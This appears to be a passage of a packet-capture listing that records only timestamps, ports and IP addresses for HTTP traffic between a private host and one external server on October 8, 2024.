Oct 8, 2024 05:27:18.032540083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032555103 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032556057 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032578945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032594919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032604933 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032604933 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032609940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032635927 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032649994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032664061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032671928 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032671928 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032680035 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032697916 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032711983 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032744884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032748938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032748938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032759905 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032776117 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032797098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032813072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032821894 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032829046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032836914 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032850027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032861948 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032876968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032885075 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032886028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032895088 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032907963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032912016 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.032915115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032923937 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032944918 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032958031 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.032964945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.033003092 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.033049107 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.033062935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.033077955 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.033091068 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.033099890 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.033101082 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.033212900 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.084661961 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.084692955 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.084744930 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.084772110 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.084772110 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.084779024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.084811926 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.084841013 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.084841013 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.084863901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.084914923 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.084929943 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.084929943 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.084966898 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.084999084 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085016012 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085031986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085032940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085087061 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085087061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085087061 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085138083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085170984 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085186005 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085186005 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085220098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085227013 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085273027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085305929 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085321903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085321903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085335970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085356951 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085469007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085500956 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085517883 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085517883 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085551977 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085599899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085618019 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085618019 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085639000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085690975 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085695028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085695028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085740089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085768938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085799932 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085799932 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085819960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085867882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085872889 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085872889 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085901022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085933924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085953951 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085953951 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.085966110 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.085999012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086016893 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086016893 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086026907 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086059093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086076021 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086076021 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086092949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086119890 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086123943 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086157084 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086174965 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086174965 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086189985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086221933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086244106 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086244106 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086253881 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086286068 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086308002 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086308002 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086319923 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086354017 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086375952 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086375952 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086385012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086419106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086421013 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086452007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086462975 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086462975 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086486101 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086508989 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086519003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086553097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086580992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086580992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086585045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086632967 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086632967 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086652994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086685896 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086718082 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086736917 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086736917 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086750031 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086781025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086801052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086802006 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086812973 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086848021 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086865902 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086865902 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086880922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086914062 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086932898 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086932898 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086946011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086978912 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.086997986 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.086997986 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.087182999 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.120304108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120357037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120371103 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120393038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120408058 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120423079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120445967 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120461941 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120465040 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.120467901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120465040 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.120479107 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120554924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120568037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120580912 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.120580912 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.120592117 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.120596886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120608091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120624065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120636940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120650053 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120666027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120687962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120692015 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.120702982 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120728016 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120755911 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120770931 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120785952 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120788097 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.120788097 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.120788097 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.120805025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120809078 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120816946 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120830059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120846987 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120860100 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120876074 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120901108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120904922 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.120923042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120904922 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.120904922 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.120937109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120951891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120965958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120980978 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.120904922 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.121002913 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121018887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121035099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121069908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121073961 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.121073961 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.121073961 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.121073961 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.121073961 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.121085882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121093988 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121100903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121109962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121118069 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121160030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121182919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121201992 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121226072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121241093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121256113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121273041 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.121273041 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.121273041 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.121287107 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.121328115 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.121364117 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121377945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121393919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121413946 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121443987 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.121443987 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.121480942 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121495962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121510983 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121526957 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121541977 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121557951 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121573925 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121588945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121601105 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.121601105 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.121601105 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.121604919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121614933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121623039 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121638060 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.121714115 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.121714115 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.121714115 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.121714115 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.179284096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.179346085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.179410934 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.179410934 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.179425955 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.179461002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.179507971 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.179522038 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.179522038 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.179543018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.179577112 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.179588079 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.179589033 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.179610968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.179645061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.179677010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.179702044 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.179702044 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.179708958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.179733992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.179733992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.179743052 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.179771900 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.179778099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.179815054 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.179835081 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.179835081 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.179944038 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.179970026 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.180016994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.180067062 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.180067062 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.180083036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.180130959 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.180164099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.180186033 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.180186033 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.180196047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.180243969 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.180243969 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.180248976 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.180282116 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.180326939 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.180326939 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.180332899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.180366993 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.180398941 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.180413961 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.180413961 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.180430889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.180463076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.180480003 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.180480003 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.180495977 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.180531979 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.180546999 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.180546999 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.180561066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.180608988 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.180608988 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.180932999 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.180962086 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.181010962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.181019068 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.181019068 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.181045055 CEST	80	49706	185.215.113.37	192.168.2.5
